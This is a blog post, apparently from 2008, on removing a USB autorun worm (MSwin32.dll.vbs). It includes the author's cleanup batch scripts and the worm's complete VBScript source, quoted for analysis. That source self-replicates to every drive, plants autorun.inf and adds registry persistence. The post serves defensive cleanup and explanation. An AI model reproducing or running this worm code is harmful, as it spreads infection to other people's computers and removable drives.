Does this happen with you?

• You cannot access or enter the hard drives on your computer when you click on a partition say C or the D Drive?
• You find an annoying autorun.inf or MSwin32.dll.vbs or r.cmd or bqk.bat or klp8j6i.com on all your flash drives and partitions?
• Task Manager disabled? Cant view hidden files?
• Startup is slow? PC hangs while booting up?

The Solution

1. Download and run this file! Unlock.v1.2 from HERE or HERE (UPDATED July 08,2008 )
   
2. Save all your work and Restart your computer

Note: The Script Killer file might take a few minutes to run and might display error messages. Its normal. The file will not do any harm. If it helped or if it didnt, please drop in a comment! thanks!

Read further only if you would like to read more about the problem and how I solved it! Also read my article on Removing the FlashDrive autorun.inf Virus for more info

A few words of explanation about the (so called) virus

The contents of a typical malicious autorun.inf

[autorun]
shellexecute=wscript.exe mswin32.dll.vbs

The contents of the file MSwin32.dll.vbs

‘ i like to be known as (udaipu) v1.02
‘ i made this virus because s3 umbi poi. it sucked.. so give me marks…..xxxrxextxxx

on error resume next
dim autoc,winpath,flashdrive,fs,mf,auto,tf,rg,nt,check,sd

auto = “[autorun]“&vbcrlf&”shellexecute=wscript.exe mswin32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
autoc=autoc&text.readline
autoc=autoc & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MSwin32.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\mswin32.dll.vbs”,2,true)
tf.write autoc
tf.close
set tf = fs.getfile(winpath & “\mswin32.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\mswin32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MSwin32.dll.vbs”,2,true)
tf.write autoc
tf.close
set tf=fs.getfile(flashdrive.path &”\mswin32.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write auto
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”We want avinash sir back.”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run\MSwin32″,winpath&”\mswin32.dll.vbs”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

For any person with basic understanding of scripts, it will be quite clear what this script is all about and which settings on your computer are being changed.

What is wscript.exe ?

It is the Windows Scripting Host!

How I did I do it ?

Now this is the fun part

The following operations are performed by the file:

1. Terminates the Windows Processes wscript.exe and monit.exe.
2. Deletes all autorun.inf files on system.
3. Deletes all mswin32.dll.vbs files on system.
4. Deletes all r.cmd files on system.
5. Deletes all bqk.bat files on system.
6. Deletes all klp8j6i.com files on system.
7. Deletes the virus entry from startup/registry.
8. Disables Scripting.

The file actually extracts these separate files in C:\

UNLOCK.BAT

@echo off
taskkill /IM wscript.exe
taskkill /IM monit.exe

dir/b/s/l/a-d c:\autorun.inf> out.bat
dir/b/s/l/a-d d:\autorun.inf>> out.bat
dir/b/s/l/a-d e:\autorun.inf>> out.bat
dir/b/s/l/a-d f:\autorun.inf>> out.bat
dir/b/s/l/a-d g:\autorun.inf>> out.bat
dir/b/s/l/a-d h:\autorun.inf>> out.bat
dir/b/s/l/a-d i:\autorun.inf>> out.bat
dir/b/s/l/a-d j:\autorun.inf>> out.bat
dir/b/s/l/a-d k:\autorun.inf>> out.bat
dir/b/s/l/a-d l:\autorun.inf>> out.bat
dir/b/s/l/a-d m:\autorun.inf>> out.bat
dir/b/s/l/a-d n:\autorun.inf>> out.bat
dir/b/s/l/a-d c:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d d:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d e:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d f:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d g:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d h:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d i:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d j:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d k:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d l:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d m:\mswin32.dll.vbs>> out.bat
dir/b/s/l/a-d n:\mswin32.dll.vbs>> out.bat

ECHO Deleting Virus files …
edlin out.bat <c:\attall.bat>nul
call out.bat
edlin out.bat <c:\delall.bat>nul
call out.bat

ECHO Deleting registry entries …
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MSwin32 /f
REG DELETE HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v monit /f
REG IMPORT restorie.reg

ECHO Deleting temporary files …
del restorie.reg
del out.bat
rename out.bak out.bat
del out.bat
del attall.bat
del delall.bat
del unlock.bat

ATTALL.BAT

1,#rc:\*attrib -r -s -h “c:\
1,#rd:\*attrib -r -s -h “d:\
1,#re:\*attrib -r -s -h “e:\
1,#rf:\*attrib -r -s -h “f:\
1,#rg:\*attrib -r -s -h “g:\
1,#rh:\*attrib -r -s -h “h:\
1,#ri:\*attrib -r -s -h “i:\
1,#rj:\*attrib -r -s -h “j:\
1,#rk:\*attrib -r -s -h “k:\
1,#rl:\*attrib -r -s -h “l:\
1,#rm:\*attrib -r -s -h “m:\
1,#rn::\*attrib -r -s -h “n:\
1,#rautorun.inf*autorun.inf”
1,#rmswin32.dll.vbs*mswin32.dll.vbs”
e

replace * by pressing CTRL+P+Z in edit window

DELALL.BAT

1,#rattrib -r -s -h “c:\*DEL “c:\
1,#rattrib -r -s -h “d:\*DEL “d:\
1,#rattrib -r -s -h “e:\*DEL “e:\
1,#rattrib -r -s -h “f:\*DEL “f:\
1,#rattrib -r -s -h “g:\*DEL “g:\
1,#rattrib -r -s -h “h:\*DEL “h:\
1,#rattrib -r -s -h “i:\*DEL “i:\
1,#rattrib -r -s -h “j:\*DEL “j:\
1,#rattrib -r -s -h “k:\*DEL “k:\
1,#rattrib -r -s -h “l:\*DEL “l:\
1,#rattrib -r -s -h “m:\*DEL “m:\
1,#rattrib -r -s -h “n:\*DEL “n:\
e

replace * by pressing CTRL+P+Z in edit window

RESTORIE.REG

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
-”Window Title”
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
“Window Title”=”Microsoft Internet Explorer”

NOSCRIPT.EXE /silent

Disables scripting

After the operation is complete all the temporary files are deleted.

Download Noscript.exe and permanently disable scripts! or Read more on How to manually disable (or re-enable) the Windows Scripting Host, Symantec or read what Sophos has to say about it

Okay, the programming above is crude but hey it works

I want to reverse engineer this script to use its rapid spreading power against it. To make it cure the infection of all the systems it infects. Maybe in due time …

My congratulations to to the guys who made this virus/vbscript has gotten into almost every system in my college

Comments and suggestions welcome and I hope it helps!

---

Possibly related posts: (automatically generated)

• Huge Praise!!!!
• Unravelling Gujarat terrorism mystery – Asia Tribune
• Veronique Courjault and Her Frozen Babies: Of Course She Knew